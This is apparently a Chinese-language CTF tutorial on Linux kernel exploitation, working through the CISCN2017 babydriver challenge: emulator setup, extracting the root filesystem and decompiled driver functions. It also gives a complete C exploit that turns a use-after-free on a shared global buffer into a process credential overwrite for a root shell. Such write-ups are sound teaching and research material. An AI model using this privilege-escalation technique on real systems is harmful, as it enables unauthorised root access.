通過一道簡單的例題了解Linux內核PWN

2022-01-06 山石網科安全技術研究院

這篇文章目的在於簡單介紹內核PWN題,揭開內核的神秘面紗。背後的知識點包含Linux驅動和內核源碼,學習路線非常陡峭。也就是說,會一道Linux內核PWN需要非常多的鋪墊知識,如果要學習可以先從UNICORN、QEMU開始看起,然後看Linux驅動的內容,最後看Linux的內存管理、進程調度和文件的實現原理。至於內核API函數不用死記硬背,用到的時候再查都來得及。

這題是參考ctf-wiki上的內核例題,題目名稱CISCN2017_babydriver,是一道簡單的內核入門題,所牽涉的知識點並不多。題目附件可以在ctf-wiki的GitHub倉庫找到:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/kernel/CISCN2017-babydriver。

首先將題目附件下載下來,解壓後得到所有的文件如下:
.
├── boot.sh     # 啟動腳本,運行這個腳本來啟動QEMU
├── bzImage     # 壓縮過的內核鏡像
└── rootfs.cpio # 作為初始RAM磁碟的文件

查看啟動腳本boot.sh內容如下:

#!/bin/bash

qemu-system-x86_64 \
-initrd rootfs.cpio \      # 指定使用rootfs.cpio作為初始RAM磁碟。可以使用cpio 命令提取這個cpio文件,提取出裡面的需要的文件,比如init腳本和babydriver.ko的驅動文件。提取操作的命令放在下面的操作步驟中
-kernel bzImage \          # 使用當前目錄的bzImage作為內核鏡像
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \  # 使用後面的字符串作為內核命令行
-enable-kvm \              # 啟用加速器
-monitor /dev/null \       # 將監視器重定向到字符設備/dev/null
-m 64M \                   # 參數設置RAM大小為64M
--nographic \             # 參數禁用圖形輸出並將串行I/O重定向到控制臺
-smp cores=1,threads=1 \   # 參數將CPU設置為1核心1線程
-cpu kvm64,+smep           # 參數選擇CPU為kvm64,開啟了smep保護,無法在ring 0級別執行用戶代碼

文件bzImage是壓縮編譯的內核鏡像文件。有些題目會提供vmlinux文件,它是未被壓縮的鏡像文件。這個題目沒有提供,但也不要緊,可以用腳本提取出vmlinux,而使用vmlinux的目的也就是找gadget,提取vmlinux的腳本也可以在Linux的GitHub上找到:https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux。把代碼複製到文件中,保存為extract-vmlinux,然後賦予執行權限。提取vmlinux命令如下:

./extract-vmlinux ./bzImage > vmlinux

可以使用ropper在提取的vmlinux中搜尋gadget,ropper比ROPgadget快很多:

ropper --file ./vmlinux --nocolor > g1

rootfs.cpio是啟動內核的RAM磁碟文件,可以把它看作一個微型Linux文件系統。使用file命令查看可以看到它是gzip格式:

unravel@unravel:~/pwn$ file rootfs.cpio
rootfs.cpio: gzip compressed data, last modified: Tue Jul  4 08:39:15 2017, max compression, from Unix, original size modulo 2^32 2844672

我們將rootfs.cpio改名為rootfs.cpio.gz,然後將它解壓出來:

unravel@unravel:~/pwn$ ls
boot.sh bzImage rootfs.cpio

unravel@unravel:~/pwn$ mv rootfs.cpio rootfs.cpio.gz
unravel@unravel:~/pwn$ ls
boot.sh bzImage rootfs.cpio.gz

unravel@unravel:~/pwn$ gunzip rootfs.cpio.gz
unravel@unravel:~/pwn$ ls
boot.sh bzImage rootfs.cpio

unravel@unravel:~/pwn$ file rootfs.cpio
rootfs.cpio: ASCII cpio archive (SVR4 with no CRC)

因為rootfs.cpio裡面包含一些文件系統,它的文件比較多,我們可以創建一個文件夾,然後用cpio命令把所有文件提取到新建的文件夾下,保證一個乾淨的根目錄,後面也將內容重新打包:
unravel@unravel:~/pwn$ mkdir core && cp rootfs.cpio core && cd core && cpio -idmv < rootfs.cpio

unravel@unravel:~/pwn/core$ ls
bin etc home init lib linuxrc proc rootfs.cpio sbin sys tmp usr

在我們上一步解壓完rootfs.cpio之後可以看到它就是Linux的文件系統。在根目錄下裡面有一個「init」文件,它決定啟動哪些程序,比如執行某些腳本和啟動shell。它的內容如下,除了insmod命令之外都是Linux的基本命令便不再贅述:

#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko  # insmod命令加載了一個名為babydriver.ko的驅動,根據一般的PWN題套路,這個就是有漏洞的LKM了
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" 
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0  -f

在init文件中看到用insmod命令加載了babydriver.ko驅動,那麼我們把這個驅動拿出來,檢查一下開啟的保護:

unravel@unravel:~/pwn/core/lib/modules/4.4.72$ checksec --file=babydriver.ko
RELRO           STACK CANARY     NX           PIE             RPATH     RUNPATHSymbolsFORTIFYFortifiedFortifiable FILE
No RELRO       No canary found   NX disabled   Not an ELF file   No RPATH   No RUNPATH   64 Symbols     No00babydriver.ko

把驅動程序放到IDA裡面查看程序邏輯,除了init初始化和exit外還有5個函數:
int __fastcall babyrelease(inode *inode, file *filp)
{
 _fentry__(inode, filp);
 kfree(babydev_struct.device_buf);
 printk("device release\n");
 return 0;
}

babyopen:調用kmem_cache_alloc_trace函數申請一塊大小為64位元組的空間,返回值存儲在device_buf中,並設置device_buf_len

int __fastcall babyopen(inode *inode, file *filp)
{
 _fentry__(inode, filp);
 babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 64LL);
 babydev_struct.device_buf_len = 64LL;
 printk("device open\n");
 return 0;
}

babyioctl:定義0x10001的命令,這條命令可以釋放剛才申請的device_buf,然後重新申請一個用戶傳入的內存,並設置device_buf_len

__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
 size_t v3; // rdx
 size_t v4; // rbx

 _fentry__(filp, command);
 v4 = v3;
 if ( command == 0x10001 )
{
   kfree(babydev_struct.device_buf);
   babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
   babydev_struct.device_buf_len = v4;
   printk("alloc done\n");
   return 0LL;
}
 else
{
   printk(&unk_2EB);
   return -22LL;
}
}

babywrite:copy_from_user是從用戶空間拷貝數據到內核空間,應當接受三個參數copy_from_user(char*, char*,int),IDA裡面是沒有識別成功,需要手動按Y鍵修復。babywrite函數先檢查長度是否小於device_buf_len,然後把 buffer 中的數據拷貝到 device_buf 中

ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
 size_t v4; // rdx
 ssize_t result; // rax
 ssize_t v6; // rbx

 _fentry__(filp, buffer);
 if ( !babydev_struct.device_buf )
   return -1LL;
 result = -2LL;
 if ( babydev_struct.device_buf_len > v4 )
{
   v6 = v4;
   copy_from_user(babydev_struct.device_buf, (char *)buffer, v4);
   result = v6;
}
 return result;
}

babyread:和babywrite差不多,不過是把device_buf拷貝到buffer中

ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
 size_t v4; // rdx
 ssize_t result; // rax
 ssize_t v6; // rbx

 _fentry__(filp, buffer);
 if ( !babydev_struct.device_buf )
   return -1LL;
 result = -2LL;
 if ( babydev_struct.device_buf_len > v4 )
{
   v6 = v4;
   copy_to_user(buffer, babydev_struct.device_buf, v4);
   result = v6;
}
 return result;
}

值得注意的是驅動程序中的函數操作都使用同一個變量babydev_struct,而babydev_struct是全局變量,漏洞點在於多個設備同時操作這個變量會將變量覆蓋為最後改動的內容,沒有對全局變量上鎖,導致條件競爭。

我們使用ioctl同時打開兩個設備,第二次打開的內容會覆蓋掉第一次打開設備的babydev_struct ,如果釋放第一個,那麼第二個理論上也被釋放了,實際上並沒有,就造成了一個UAF釋放其中一個後,使用fork,那麼這個新進程的cred空間就會和之前釋放的空間重疊利用那個沒有釋放的描述符對這塊空間寫入,把cred結構體中的uid和gid改為0,就可實現提權還有在修改時需要知道cred結構的大小,可以根據內核版本可以查看源碼,計算出cred結構大小是0xa8,不同版本的內核源碼這個結構體的大小都不一樣。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main()
{
   // 打開兩次設備
   int fd1 = open("/dev/babydev", 2);
   int fd2 = open("/dev/babydev", 2);

   // 修改 babydev_struct.device_buf_len 為 sizeof(struct cred)
   ioctl(fd1, 0x10001, 0xa8);

   // 釋放 fd1
   close(fd1);

   // 新起進程的 cred 空間會和剛剛釋放的 babydev_struct 重疊
   int pid = fork();
   if(pid < 0)
  {
       puts("[*] fork error!");
       exit(0);
  }

   else if(pid == 0)
  {
       // 通過更改 fd2,修改新進程的 cred 的 uid,gid 等值為0
       char zeros[30] = {0};
       write(fd2, zeros, 28);

       if(getuid() == 0)
      {
           puts("[+] root now.");
           system("/bin/sh");
           exit(0);
      }
  }

   else
  {
       wait(NULL);
  }
   close(fd2);

   return 0;
}

需要將編寫的exp編譯成可執行文件,然後把它複製到rootfs.cpio提取出來的文件系統中,再將文件系統重新打包成cpio,這樣在內核重新運行的時候就有exp這個文件了。

將exp編譯好,注意需要改為靜態編譯,因為我們的內核是沒有動態連結的:

unravel@unravel:~/pwn$ gcc exp.c -static -o exp

接下來我們複製exp到文件系統下,然後使用cpio命令重新打包:

unravel@unravel:~/pwn$ cp exp core/tmp/
unravel@unravel:~/pwn$ cd core/
unravel@unravel:~/pwn/core$ ls
bin  etc  home  init  lib  linuxrc  proc  rootfs.cpio  sbin  sys  tmp  usr

unravel@unravel:~/pwn/core$ find . | cpio -o --format=newc > rootfs.cpio
cpio: File ./rootfs.cpio grew, 3522560 new bytes not copied
14160 blocks

unravel@unravel:~/pwn/core$ cp rootfs.cpio ..

下一步就可以重新運行內核了。執行boot.sh啟動內核後,在剛才拷貝的/tmp目錄下找到exp可執行程序:

/ $ ls -la /tmp/
total 864
drwxrwxr-x    2 ctf      ctf              0 Dec 16 09:35 .
drwxrwxr-x   13 ctf      ctf              0 Dec 17 08:35 ..
-rwxrwxr-x    1 ctf      ctf         883168 Dec 17 08:30 exp

執行後可得到root權限,提權成功:

/ $ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)

/ $ /tmp/exp
[  115.517513] device open
[  115.522342] device open
[  115.527241] alloc done
[  115.532132] device release
[+] root now.

/ # id
uid=0(root) gid=0(root) groups=1000(ctf)

可以在boot.sh文件中添加-s參數來使用gdb調試,它默認埠1234。也可以指定埠號進行調試,只需要使用-gdb tcp:port即可。在啟動的內核中使用lsmod查看加載的驅動基地址,得到0xffffffffc0000000,然後啟動gdb,使用target remote指定調試IP和埠號進行調試,然後添加babydriver的符號信息,過程如下:

# 在QEMU運行的內核中運行如下命令
/ $ lsmod
babydriver 16384 0 - Live 0xffffffffc0000000 (OE)

# 啟動gdb,配置調試信息
gdb -q

gef➤ target remote localhost:1234
Remote debugging using localhost:1234

gef➤ add-symbol-file pwn/core/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000
add symbol table from file "pwn/core/lib/modules/4.4.72/babydriver.ko"
Reading symbols from pwn/core/lib/modules/4.4.72/babydriver.ko...

這裡建議使用gef插件,pwndbg和peda調試內核總有一些玄學問題。如果gef報錯context相關問題(如下圖),在gdb中輸入命令python set_arch()就可以查看調試上下文了:


通過一道題認識了內核PWN的解題步驟,以及如何對內核進行調試。對於不知道用法的內核函數和結構體,可以在manned.org網站或者源碼中查看。

CTF-WIKI連結:https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/uaf/#_2

Linux在線源碼:https://elixir.bootlin.com/linux/v4.4.72/source/mm/slab.c#L3431

MannedOrg:https://manned.org/kmalloc.3

QEMU手冊:https://www.qemu.org/docs/master/system/quickstart.html

UNICORN:https://www.unicorn-engine.org/docs/


相關焦點

  • Linux kernel pwn:ROP & ret2usr
    部分內核pwn入門基礎可見我的這一篇博文:https://www.cnblogs.com/T1e9u/p/13743811.html#user-space-to-kernel-space內核pwn應該怎麼pwn與用戶態的
  • linux-kernel-pwn qwb2018 core
    根據難易,先看簡單的棧溢出。通過強網杯2018內核題core來了解如何利用基本的棧溢出來進行提權。
  • Linux PWN從入門到熟練
    本文主要通過練習題的方式講述如何尋找gadgets,如何利用現有的工具來加速自己的pwn的效率。Gadgets的類型和難度也逐步變化。下面帶來手把手教你linux pwn。讓你的pwn技術從入門到熟練。練習題的難度逐步加大。第一關第一關的gadgets較為簡單,包含了一個直接可以利用的,可返回shell的函數。
  • CTF必備技能丨Linux Pwn入門教程——ShellCode
    關於opcode六個域的組成及其他深入知識此處不再贅述,感興趣的讀者可以在Intel官網獲取開發者手冊或其他地方查閱資料進行了解並嘗試查表閱讀機器碼或者手寫ShellCode。事實上,通過剛剛的調試大家應該能猜到是陌生的int 80h指令。查閱intel開發者手冊我們可以知道int指令的功能是調用系統中斷,所以int 80h就是調用128號中斷。在32位的linux系統中,該中斷被用於呼叫系統調用程序system_call( ),我們知道出於對硬體和作業系統內核的保護,應用程式的代碼一般在保護模式下運行。
  • linux pwn入門學習到放棄
    本文記錄菜鳥學習linux pwn入門的一些過程,詳細介紹linux上的保護機制,分析一些常見漏洞如棧溢出,堆溢出,use after free等,以及一些常見工具集合介紹等。先來學習一些關於linux方面的保護措施,作業系統提供了許多安全機制來嘗試降低或阻止緩衝區溢出攻擊帶來的安全風險,包括DEP、ASLR等。
  • linux-kernel-pwn-csaw-2015-stringipc
    環境的配置(內核編譯以及製作文件系統)以及ko的編譯可以參照基礎知識[2]這一個章節。我的環境是內核linux-4.4.110[3],文件系統是busybox-1.31.0[4]。於是修改vdso有了相應的提權方案:通過任意讀找到vdso在內核中的位置;再通過任意寫去修改vdso中的代碼,如將gettimeofday函數修改成執行shell的函數;最終等待具有root權限的進程執行gettimeofday函數,觸發shellcode,獲得shell。首先要解決的問題是如何通過任意讀找到vdso在內核中的位置。
  • 【技術分享】記一道有趣的VM PWN
    /libc-2.27.so GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.4) stable release version 2.27.Copyright (C) 2018 Free Software Foundation, Inc.This is free software; see the source for copying conditions.There
  • Linux pwn從入門到熟練(三)
    https://bbs.pediy.com/thread-248682.htm前述Linux pwn從入門到熟練(二)這篇文章留了一道習題pwn7給大家做。它會自己檢測程序是否開啟了PIE,對於開啟了PIE的程序,它會通過程序裡面調用的其他庫函數洩露正確的地址,並將存在漏洞的返回地址修正。
  • Linux內核漏洞利用技術:覆寫modprobe_path
    該技術是通過覆蓋內核中的modprobe_path來實現的。這項技術對我來說是全新的,因此我在網上進行了一些調研,並嘗試進行實驗。事實證明,這種技術非常流行,並且易於使用,由此我終於明白了為什麼很多人都會傾向於使用這種方法,而不再使用傳統方法。不過,在我的研究過程中,沒有看到能夠清晰解釋該技術的文章,因此我決定寫這篇文章來做詳細分析。
  • 淺談Linux Pwn Unlink機制
    欺騙進行unlink了解這些之後以一道題目作為例子進行說明,這也是ctfwiki上的一道例子https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unlink/2014_hitcon_stkof題目也是最常見的item類型的題目提供了創建,修改,編輯,
  • Linux 內核學習:環境搭建和內核編譯
    內核學習之一:環境搭建--安裝Debian7.3本系列文章假設讀者已對linux有一定的了解,其實學習linux內核不需要有很深的關於linux的知識,只需要了解以下內容:linux基礎知識及基本shell命令;現代作業系統的基本概念;C語言和gcc基本使用。
  • Linux內核學習:簡單的字符設備驅動
    ·下面是一個簡單字符設備示例,實現了基本的open、read和write方法:代碼文件:#include <linux/init.h>#include <linux/module.h>#include <linux/cdev.h>#include <linux/fs.h>#include <linux/uaccess.h>
  • CTF必備技能丨Linux Pwn入門教程——環境配置
    然後使用命令:docker container cp linux_server ubuntu.17.04.i386:/root/linux_server 將linux_server複製到32位容器中的此時我們登錄容器可以看到linux_server,運行該server會提示正在監聽23946埠。
  • Linux pwn從入門到熟練(二)
    這裡簡單整理一下步驟(假設linux程序在虛擬機guest執行,IDA在主機host執行):拷貝linux_server到guest的程序目錄,並執行;IDA設置遠程調試,並設置正確的guest IP和埠;IDA設置程序的斷點在return,可以方便查看寄存器;運行程序;用腳本patternLocOffset.py創建偏移測試字符串
  • Linux 系統內核的調試
    以試驗使用的kgdb補丁為例,linux內核的版本為linux-2.6.7,補丁版本為kgdb-2.2。printk(KERN_ALERT "Data Location .data(Data Segment):%p\n",&data_var);printk(KERN_ALERT "BSS Location: .bss(BSS Segment):%p\n",&bss_var);……}Module_init(hello_init);   這裡,通過在模塊的初始化函數中添加一段簡單的程序
  • PWN學習指南
    作業系統原理 :找網課看看CTF中大部分的pwn題都是linux平臺上的,那麼懂得linux的基本操作也是必不可少的.常用的命令,權限控制,linux的系統調用等…百度和b站找找教程就行了.參考書籍《鳥哥的Linux私房菜基礎篇》(真的是只是參考書籍,太厚了…,遇到了不懂的就翻翻就好了)懂的上面這些就可以學習基本的二進位漏洞了.
  • 簡單分析南郵實訓平臺pwn方向真題
    簡單分析南郵實訓平臺pwn方向第二題 - Stack Overflow
  • 深入理解Linux內核鍊表
    之前寫過的鍊表文章,再結合這篇,我覺得是一道硬菜。在Linux內核中使用了大量的鍊表結構來組織數據,包括設備列表以及各種功能模塊中的數據組織。這些鍊表大多採用在[include/linux/list.h]實現的一個相當精彩的鍊表數據結構。本文的後繼部分就將通過示例詳細介紹這一數據結構的組織和使用。
  • Ubuntu中升級Linux內核
    從這段話中所表達出的意思可以了解,Linux Kernel 4.3版本已經開始進行,Linus Torvalds也收到了一些新的請求,但具體如何改進還要進一步研究確定。  ●支持ARCv2和HS38 CPU內核  ●增加了隊列自旋鎖的支持  ●許多其他的改進和驅動更新。
  • 一步一步學pwntools
    本來想發發我之前CTF的writeups,不過數量有點多,而且網上也有很多質量不錯的wp,就發回之前寫的pwntools新手教程。網上純新手教程比較少,一般都是直接調用api,這篇主要是想給新手對pwntool一個更整體的認識。原文是我用英文寫的,如果翻譯的不好,請見諒。